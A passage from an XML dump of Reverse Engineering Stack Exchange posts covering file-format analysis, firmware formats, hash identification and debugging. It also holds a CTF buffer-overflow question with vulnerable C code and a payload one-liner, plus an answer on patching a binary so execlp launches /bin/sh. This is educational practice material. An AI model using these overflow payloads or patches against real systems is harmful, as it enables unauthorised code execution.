/>
  <row Id="14936" PostTypeId="1" CreationDate="2017-03-18T05:30:12.667" Score="1" ViewCount="960" Body="&lt;pre&gt;&lt;code&gt;   0x08048785 &amp;lt;+344&amp;gt;:   movl   $0x0,0xc(%esp)&#xA;   0x0804878d &amp;lt;+352&amp;gt;:   movl   $0x804896c,0x8(%esp)&#xA;   0x08048795 &amp;lt;+360&amp;gt;:   movl   $0x8048973,0x4(%esp)&#xA;   0x0804879d &amp;lt;+368&amp;gt;:   movl   $0x8048973,(%esp)&#xA;=&amp;gt; 0x080487a4 &amp;lt;+375&amp;gt;:   call   0x8048470 &amp;lt;execlp@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering is it possible to alter the argument that is going to the function execlp() in order to execute a shell? and if it is possible how can I change those values like 0x8(%esp)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="19276" LastActivityDate="2017-03-18T19:22:12.750" Title="How can I change the values in esp?" Tags="|disassembly|debugging|binary-analysis|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14940" PostTypeId="2" ParentId="14936" CreationDate="2017-03-18T16:42:53.180" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I am wondering is it possible to alter the argument that is going to the function execlp() in order to execute a shell?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, this is possible. The strings located at the memory addresses written to the stack prior to calling &lt;code&gt;execlp&lt;/code&gt; can be patched such that &lt;code&gt;/bin/sh&lt;/code&gt; is executed instead. If there is not enough space for the pathname of the program to execute and/or its arguments between the current memory references, the memory addresses being written to the stack will have to be patched as well to reflect the lengths of the new strings they reference.&lt;/p&gt;&#xA;&lt;p&gt;The memory addresses being written to the stack prior to calling &lt;code&gt;execlp&lt;/code&gt; are pointers to strings in the &lt;code&gt;.rodata&lt;/code&gt; section of the binary, where  the string pointed to by the first argument (&lt;code&gt;0x8048973&lt;/code&gt; in the snippet of disassembled code above) is the pathname of the program to execute (we can think of &lt;code&gt;execlp&lt;/code&gt; as &amp;quot;exec &lt;em&gt;load path&lt;/em&gt;&amp;quot;). If this string is changed, &lt;code&gt;execlp&lt;/code&gt; will load the program located at the new pathname.&lt;/p&gt;&#xA;&lt;p&gt;For reference, here is the prototype for &lt;code&gt;execlp&lt;/code&gt; and its description from the &lt;a href=&quot;http://man7.org/linux/man-pages/man3/exec.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;man page&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;int execlp(const char *file, const char *arg, ... /* (char  *) NULL */);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;const char *arg&lt;/code&gt; and subsequent ellipses in the execl(), execlp(), and execle() functions can be thought of as &lt;em&gt;arg0, arg1, ..., argn&lt;/em&gt;. Together they describe a list of one or more pointers to null-terminated strings that represent the argument list available to the executed program.  The first argument, by convention, should point to the filename associated with the file being executed.  The list of arguments must be terminated by a null pointer, and, since these are variadic functions, this pointer must be cast &lt;code&gt;(char *) NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here is a good explanation of how &lt;code&gt;execlp&lt;/code&gt; works:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/21558937/i-do-not-understand-how-execlp-works-in-linux/21559499#21559499&quot;&gt;I do not understand how execlp() works in Linux&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note also that since the ISA is x86 and the compiler is GCC, the arguments to a function are written to the stack in the reverse order of their corresponding parameters in the function prototype. This means that the last argument written to the stack corresponds to the first parameter in the function prototype. In the case of &lt;code&gt;execlp&lt;/code&gt;, the last argument written to the stack prior to calling &lt;code&gt;execlp&lt;/code&gt; will be the pointer to the pathname of the program to load.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;and if it is possible how can I change those values like 0x8(%esp)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Patching strings in the &lt;code&gt;.rodata&lt;/code&gt; section and patching instructions and memory addresses in the &lt;code&gt;.text&lt;/code&gt; section can be accomplished using a hex editor like &lt;a href=&quot;http://www.linuxjournal.com/content/doing-reverse-hex-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;xxd&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.pacificsimplicity.ca/blog/modifying-linux-elf-binaries-changing-callq-addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;hexedit&lt;/code&gt;&lt;/a&gt;, or by using &lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/tut1/tut1_-_simple_patch.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For using GDB to patch the binary, see these:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8200/using-gdb-to-modify-an-executable&quot;&gt;Using GDB to modify an executable&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26173850/use-gdb-to-modify-binary&quot;&gt;Use gdb to Modify Binary&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Patching.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugging with GDB: Patching&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;ELF binary modification:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-02/clowes/bh-us-02-clowes-binaries.ppt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fixing/Making Holes in ELF Binaries/Programs - Black Hat&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/thorkill/eresi/wiki/TheELFsh&quot; rel=&quot;nofollow noreferrer&quot;&gt;The ELF shell&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-03-18T19:22:12.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14941" PostTypeId="1" CreationDate="2017-03-18T16:52:57.367" Score="2" ViewCount="601" Body="&lt;p&gt;The files (idx, dat) are from a plant/facility &lt;a href=&quot;https://en.wikipedia.org/wiki/Operational_historian&quot; rel=&quot;nofollow noreferrer&quot;&gt;operational historian&lt;/a&gt;. The .dat file is supposed to have entries, each with identifier (tag name/id/key), value (decimal/float) for different times (timestamp) along with their confidence rating (int/percentage).&#xA;The application is windows-based. Each .dat file would represent entries of few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to identify timestamps at specific byte offsets. It also looks like the &quot;records&quot; are of 2049 byte chunks. The timestamp (and additional timestamps) repeat within each 2049 chunk (which is a bit strange), but perhaps it's also keeping a reference to the last recorded time, or maybe there's a nesting (parent/child) of records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a stuck as to how I should proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample dat file (truncated):&#xA;&lt;a href=&quot;https://drive.google.com/open?id=0B8ACIyH1qALnLUY2cEdzVWp6T1U&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B8ACIyH1qALnLUY2cEdzVWp6T1U&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full dat file:&#xA;&lt;a href=&quot;https://drive.google.com/open?id=0B8ACIyH1qALnNU5wYkotMktVWVk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B8ACIyH1qALnNU5wYkotMktVWVk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first time values: 80CAFEBB168DD201 at offset 2061 &lt;em&gt;decimal&lt;/em&gt; []  (131322467930000000 -&gt; 2017-02-27 7:19:53 AM)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample idx file:&#xA;&lt;a href=&quot;https://drive.google.com/open?id=0B8ACIyH1qALnQzVueEJuRWNfUk0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B8ACIyH1qALnQzVueEJuRWNfUk0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested, some further information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The files are generated by Honeywell PHD Uniformance Server. I don't&#xA;have access to the software itself - but working on it. I don't know&#xA;what language it was written in. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some &lt;a href=&quot;https://www.honeywellprocess.com/library/marketing/tech-specs/Uniformance-PHD-R321-Tech-and-Spec.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;online guide&lt;/a&gt; for the server suggest the&#xA;presence of MAX_ARCRECSIZE configuration parameter &amp;lt;quote&amp;gt;&quot;which defaults to 2048.&#xA;This controls the record size within the archive files&quot; &amp;lt;/endquote&amp;gt;. The dat files are of 2049 byte chunks (2048 bytes + 1 byte &quot;0A&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The historian, as far as I know, doesn't provide SQL-like interface. The&#xA;only protocols understood are OPC variants (OPC-DA, OPC-HDA and&#xA;possibly OPC-UA), however those are slow when it comes to extracting&#xA;historical records.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The offset given for one of the dates (but not the first one), is at 2061 decimal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=&amp;gt;hexdump -C -s 2061 -n 64 SCAN00356-sample.dat&#xA;0000080d  80 ca fe bb 16 8d d2 01  02 00 00 00 12 00 00 00  |................|&#xA;0000081d  96 07 46 04 00 00 00 00  20 5f a0 02 c2 00 00 80  |..F..... _......|&#xA;0000082d  bf 00 3c 00 00 00 00 00  00 00 04 00 00 00 96 07  |..&amp;lt;.............|&#xA;0000083d  8e 07 80 ca fe bb 16 8d  d2 01 0a 00 00 86 07 00  |................|&#xA;0000084d&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've found 4 different timestamps (ftime) in each 2049 'chunks' so far. They are at consistent offsets (at bytes 12, 62, 75, 94 from the beginning of each 2049 byte chunk). Possible sequence value at byte 8. Possible 'color' value at byte 38.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One more thing; OPC Servers leverage COM and DCOM architectures. I came across the &lt;a href=&quot;https://en.wikipedia.org/wiki/Compound_File_Binary_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compound Binary File Format&lt;/a&gt;, but the corresponding readers aren't able to read the files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19448" LastEditorUserId="19448" LastEditDate="2017-03-21T08:54:12.573" LastActivityDate="2017-03-23T17:28:36.783" Title="Need help unraveling the format (time, string, float/decimal, integer/float/decimal) in .dat file" Tags="|binary-analysis|struct|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14942" PostTypeId="1" CreationDate="2017-03-18T21:04:58.087" Score="2" ViewCount="691" Body="&lt;p&gt;I've got a firmware file for an ARM Cortex-M0+ that is in a format extremely similar to Intel HEX.  All data is encapsulated in a 0x3a ... 0xa wrapper.  The fields seem to mostly match the 16 bit Intel HEX structure, where the second field is definitely the record length, the next two are plausibly an address to load the payload.  The next under Intel HEX should be the record type, and I'll cover what I see here in a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two significant variations from the standard Intel HEX (I have no experience with it, just what I've read)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The fields are all specified in raw bytes, NOT ASCII representations of the bytes.  So for instance, most records are 16 bytes long and hexdump shows: 0x3a 0x10 ... 0xa&lt;/li&gt;&#xA;&lt;li&gt;The last field before the record delimiter should be the two's compliment of the LSB of the sum of all fields.  That is not what I'm seeing, and I don't know how it is being calculated.  This is kinda important since I want to modify this firmware.  Also, my python code for two's compliment calculation could be wrong, so feel free to tell me I'm just an idiot.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any ideas what this format might be?  Here's a little sample hexdump output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  3a 10 04 00 00 ff ff ff  ff ff ff ff ff ff ff ff  |:...............|&#xA;00000010  ff 7e fb ff ff 81 0a 3a  10 08 00 00 00 60 00 20  |.~.....:.....`. |&#xA;00000020  c1 08 00 00 49 93 01 00  4d 93 01 00 e1 0a 3a 10  |....I...M.....:.|&#xA;00000030  08 10 00 51 93 01 00 55  93 01 00 59 93 01 00 5d  |...Q...U...Y...]|&#xA;00000040  93 01 00 2c 0a 3a 10 08  20 00 61 93 01 00 65 93  |...,.:.. .a...e.|&#xA;00000050  01 00 69 93 01 00 6d 93  01 00 dc 0a 3a 10 08 30  |..i...m.....:..0|&#xA;00000060  00 71 93 01 00 75 93 01  00 79 93 01 00 1f 2f 02  |.q...u...y..../.|&#xA;00000070  00 4d 0a 3a 10 08 40 00  1f 2f 02 00 1f 2f 02 00  |.M.:..@../.../..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Back to that record type field.  Out of a 200kb file, I have only 6 records that are not of type 0:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type 1:  One instance.  Should be EOF, last record, but it's not.  It is a record of zero payload length, as it should be, but I have one more record after it, Type 6.&lt;/li&gt;&#xA;&lt;li&gt;Type 2:  I have three instances.  Should be Extended Segment Address, according to wikipedia the address field is typically zero and the data length should be two.  That is what I see for all three instances.&lt;/li&gt;&#xA;&lt;li&gt;Type 3: Comes just before the Type 1 (EOF?) record.  Matches what Wikipedia tells me to expect for Type 3.  Looks like: 3a 04 00 00 03 00 00 08 c1 30 0a. Maybe this is the CS:IP that wikipedia says?&lt;/li&gt;&#xA;&lt;li&gt;Type 6:  Last record, looks like: 3a 04 00 00 06 f9 f7 b1 9f b6 0a.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The checksum field in my file is actually the two's compliment, the original code I wrote was broken in several ways.  Dang type-less python code.  What eventually worked for calculating the checksum was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def twos_comp(val, bits):&#xA;    return val - (1 &amp;lt;&amp;lt; bits)        &#xA;&#xA;def calc_checksum(record_byte_string):&#xA;    return abs(twos_comp(sum(record_byte_string)%256, 8))%256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my only real question left is:  what is the Type 6 record at the very end?  I'm guessing its a 4-byte CRC over something, but I don't know what.  Anyone seen this before?&lt;/p&gt;&#xA;" OwnerUserId="19009" LastEditorUserId="19009" LastEditDate="2017-03-19T21:05:18.293" LastActivityDate="2018-03-26T08:46:18.630" Title="Anyone recognize this variant of Intel HEX firmware format?" Tags="|firmware|file-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14943" PostTypeId="2" ParentId="1943" CreationDate="2017-03-19T01:11:51.407" Score="0" Body="&lt;p&gt;You have some options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your own obfuscation method comprised of existing encryption tools...i.e. openssl.  But, beware, it will likely take you a considerable amount of time to complete this type of project.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll require you to map out how you're going to enclosed the &quot;passwords/passkeys&quot; within the obfuscated code in such a way that no one, except you, can get to it.  It'll be preferable if even you cant get to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to add in some logic that will cause the script to protect itself from inquisitive users who may try to pry it apart.  And equally as important, whatever method you come up with must not add significantly to the execution time of the script.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may sound impossible, but i think its doable.  You just have to be motivated and have enough time on your hands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you want a shortcut, you can try pasting a sample unix based python script to &lt;a href=&quot;http://www.EnScryption.com/encrypt-and-obfuscate-scripts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site&lt;/a&gt;, and see if you can break their code and unveil your &quot;hidden&quot; code.&lt;/p&gt;&#xA;" OwnerUserId="19555" LastEditorUserId="19556" LastEditDate="2017-03-19T11:19:31.513" LastActivityDate="2017-03-19T11:19:31.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14944" PostTypeId="1" AcceptedAnswerId="14950" CreationDate="2017-03-19T04:26:45.080" Score="2" ViewCount="2260" Body="&lt;p&gt;I am currently practicing for a CTF competition and one of the practice challenges is a buffer overflow exploit. Before this challenge I knew absolutely nothing about these exploits, but I've been reading into them and trying to understand the basics.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;void win(void)&#xA;{&#xA;    system(&quot;cat flag.txt&quot;);&#xA;    return;&#xA;}&#xA;&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    printf(&quot;Give me some data: \n&quot;);&#xA;    fflush(stdout);&#xA;    char buffer[32];&#xA;    gets(buffer);&#xA;    printf(&quot;You entered %s\n&quot;, buffer);&#xA;    fflush(stdout);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I know so far is that I need to redirect to the &lt;code&gt;win()&lt;/code&gt; function and that there is a buffer of 32 characters. I broke down the program into assembly and found that the &lt;code&gt;win()&lt;/code&gt; function's address is &lt;code&gt;0x080484fd&lt;/code&gt;. After that, I connected to the program's server and typed 32 characters and the function's address. The program only returned my input, and did not redirect to the &lt;code&gt;win()&lt;/code&gt; function. I did some more reading and tried doing it from another shell with the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo python -c 'print &quot;a&quot;*32 + &quot;\x08\x04\x84\xfd&quot;' &amp;gt;&amp;amp; /dev/pts/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly, this did not get me to the &lt;code&gt;win()&lt;/code&gt; function. What am I doing wrong? I've hit a total block and not sure what else to try. Any advice and help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="19559" LastEditorUserId="18804" LastEditDate="2017-03-19T13:53:43.400" LastActivityDate="2020-12-05T19:07:29.063" Title="Basic Buffer Overflow Help" Tags="|c|exploit|buffer-overflow|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14946" PostTypeId="2" ParentId="3748" CreationDate="2017-03-19T08:31:29.360" Score="3" Body="&lt;p&gt;There's also &lt;a href=&quot;https://github.com/frranck/asm2c&quot; rel=&quot;nofollow noreferrer&quot;&gt;asm2c&lt;/a&gt; that works on assembly source code instead of executables or objects files.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tool to convert DOS Assembly code to C code Edit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16056" LastActivityDate="2017-03-19T08:31:29.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14948" PostTypeId="1" CreationDate="2017-03-19T10:57:56.937" Score="1" ViewCount="384" Body="&lt;p&gt;My lecturers have requested that I debug &lt;code&gt;binwalk&lt;/code&gt; in order to understand how it works and develop new features so that it can extract more. I tried to use &lt;code&gt;gdb&lt;/code&gt; to debug &lt;code&gt;binwalk&lt;/code&gt; but it results in the error message &quot;/usr/bin/binwalk&quot;: not in executable format: File format not recognized&quot;. What other tool can be used to debug it? &lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="18317" LastEditDate="2017-03-19T15:26:46.620" LastActivityDate="2017-03-19T15:26:46.620" Title="How to debug binwalk tool?" Tags="|debugging|debuggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14950" PostTypeId="2" ParentId="14944" CreationDate="2017-03-19T11:45:24.163" Score="4" Body="&lt;p&gt;You're doing well, with a little bit help you can exploit this program. First, let's look at stack layout for Linux (i assume it is Linux because of &lt;strong&gt;sudo&lt;/strong&gt; and it is more common than other Unix-like OSes).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zgw0O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgw0O.png&quot; alt=&quot;Linux stack layout&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;old-EIP&lt;/strong&gt; is not immediately after our buffer.&lt;/p&gt;&#xA;&lt;p&gt;I compiled your program in my 32-bit Linux Mint and as you can see&#xA;GCC throw security warning.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xEsF6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xEsF6.jpg&quot; alt=&quot;You can see GCC warning&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lets, prepare our exploit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8BbSA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8BbSA.jpg&quot; alt=&quot;Segfault&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Segmentation fault, most probably EIP tried to execute wrong address. (Maybe because it is a CTF :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v1dc6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1dc6.jpg&quot; alt=&quot;Exploiting buffer overflow&quot; /&gt;&lt;/a&gt;&#xA;Program crashed again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BGCag.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BGCag.jpg&quot; alt=&quot;Crashed&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can see we overwritten old-EBP value before old-EIP. We just need to find function symbol and smack the stack (old-EIP) value with that address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SA8tl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SA8tl.jpg&quot; alt=&quot;Exploit in action&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I hope it made things little more clear for you.&lt;/p&gt;&#xA;&lt;p&gt;Little security warning for you: Do not use &lt;strong&gt;sudo&lt;/strong&gt; unless you need it.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2020-12-05T19:07:29.063" LastActivityDate="2020-12-05T19:07:29.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14951" PostTypeId="1" AcceptedAnswerId="18052" CreationDate="2017-03-18T02:20:50.507" Score="7" ViewCount="415" Body="&lt;p&gt;We have an embedded product, which we are carrying for several hardware iterations since more than 5 years ago. We have all the source code, most of it nicely documented. As the product is actively sold and needs an upgrade, I have been tasked to design next generation improved version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While we have all the source code, and most of it is well documented, the security part is not, especially its slowest part, a 128-bit hash function with 72 rounds. I can step trough it in our debugger, execute it, and the code works fine except its slowness. If I would know which cryptography standard it is, I could attempt to upgrade it to be executed in hardware, which would drastically speed it up. (The original consultant who wrote this function is not with our company and I cannot find her).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any logical way to find out which encryption are we executing?&#xA;I do not need a help to do my work, I am asking for an advice if there is any strategy how to look at code ('unoptimized mess'); learning the principle of it (like this one has 72 rounds and hashes 128 bits); then finding candidate standards doing the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think that after finding a documented standard, I should be able to hash various numbers by using both our hash and the standard hash, and simply see if the results match?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked on the web for information about known functions using 72 rounds, like the &lt;a href=&quot;https://en.wikipedia.org/wiki/Skein_(hash_function)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Skein algorithm&lt;/a&gt;, but could not find anything similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known hash values for known standards, for example results of hashing 0? This hash converts 0 to these 16 hexadecimal bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ae c5 40 44 df 2d 91 1c 87 ab 1a ff 59 09 aa b7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Function beginning and end is below, as some of you requested, the full function is at: &#xA;&lt;a href=&quot;http://dropbox.com/sh/fjpxi11i2upby5g/AACClG20VAOsyfFnCG4geF-8a?dl=%E2%80%8C%E2%80%8B0&quot; rel=&quot;nofollow noreferrer&quot;&gt;full_function_code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the previous programmer let the old C compiler to convert it, and then used it in 'assembly' style. Maybe it was due to avoid compiler optimizing, just my guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 72 rounds, each of which ends with a call to function &lt;code&gt;TricoreDextr()&lt;/code&gt;; which is the C equivalent of Infineon TriCore DEXTR instruction. Think of DEXTR as splitting a 64-bit number into two parts (at the selected bit location) and swapping them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any concept explanations is a great help, thank you!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * @param in_arr    16 byte long array, input data (128 bits)&#xA; * @param out_arr   16 byte long array, output data (128 bits)&#xA; */&#xA;void Hash16bytes(unsigned char *in_arr, unsigned char *out_arr) &#xA;{&#xA;  long d0, d1, d2, d3, d4, d5, d6, d7, d8, d9, d10, d11, d12, d13, d15;&#xA;  long IN[16];&#xA;&#xA;  d4 = 0xB12E8FB5;&#xA;&#xA;  int i;&#xA;  for (i = 0; i &amp;lt; 16; i++)&#xA;  {&#xA;      IN[i] = (long) (*(in_arr + i));&#xA;  }&#xA;&#xA;  d11 = (IN[3] &amp;lt;&amp;lt; 24) | (IN[2] &amp;lt;&amp;lt; 16) | (IN[1] &amp;lt;&amp;lt; 8) | IN[0];&#xA;  d10 = (IN[7] &amp;lt;&amp;lt; 24) | (IN[6] &amp;lt;&amp;lt; 16) | (IN[5] &amp;lt;&amp;lt; 8) | IN[4];&#xA;  d12 = (IN[0xB] &amp;lt;&amp;lt; 24) | (IN[0xA] &amp;lt;&amp;lt; 16) | (IN[9] &amp;lt;&amp;lt; 8) | IN[8];&#xA;  d13 = (IN[0xF] &amp;lt;&amp;lt; 24) | (IN[0xE] &amp;lt;&amp;lt; 16) | (IN[0xD] &amp;lt;&amp;lt; 8) | IN[0xC];&#xA;&#xA;  /* block like this below repeats 72 times... */&#xA;  d3 = 0x7025BD47;&#xA;  d8 = 0xCCEE4EFE;&#xA;  d8 += d13; &#xA;  d8 += d3;&#xA;  d8 = TricoreDextr(d8, 6);&#xA;&#xA;  /* &#xA;     etc., TricoreDextr is called total of 72 times &#xA;   */&#xA;&#xA;  d0 += d15;&#xA;  d0 += 0x5C4E0000;&#xA;  d0 -= 0x2EDC;&#xA;  d0 = TricoreDextr(d0, 5);&#xA;&#xA;  *(out_arr + 3) = (unsigned char) ((d5 &amp;gt;&amp;gt; 24) &amp;amp; 0xFF);&#xA;  *(out_arr + 2) = (unsigned char) ((d5 &amp;gt;&amp;gt; 16) &amp;amp; 0xFF);&#xA;  *(out_arr + 1) = (unsigned char) ((d5 &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);&#xA;  *(out_arr + 0) = (unsigned char) ((d5) &amp;amp; 0xFF);&#xA;&#xA;  *(out_arr + 7) = (unsigned char) ((d6 &amp;gt;&amp;gt; 24) &amp;amp; 0xFF);&#xA;  *(out_arr + 6) = (unsigned char) ((d6 &amp;gt;&amp;gt; 16) &amp;amp; 0xFF);&#xA;  *(out_arr + 5) = (unsigned char) ((d6 &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);&#xA;  *(out_arr + 4) = (unsigned char) ((d6) &amp;amp; 0xFF);&#xA;&#xA;  d8 += d0;&#xA;  d8 += 0x10320000;&#xA;  d8 += 0x5476;&#xA;&#xA;  *(out_arr + 0xB) = (unsigned char) ((d8 &amp;gt;&amp;gt; 24) &amp;amp; 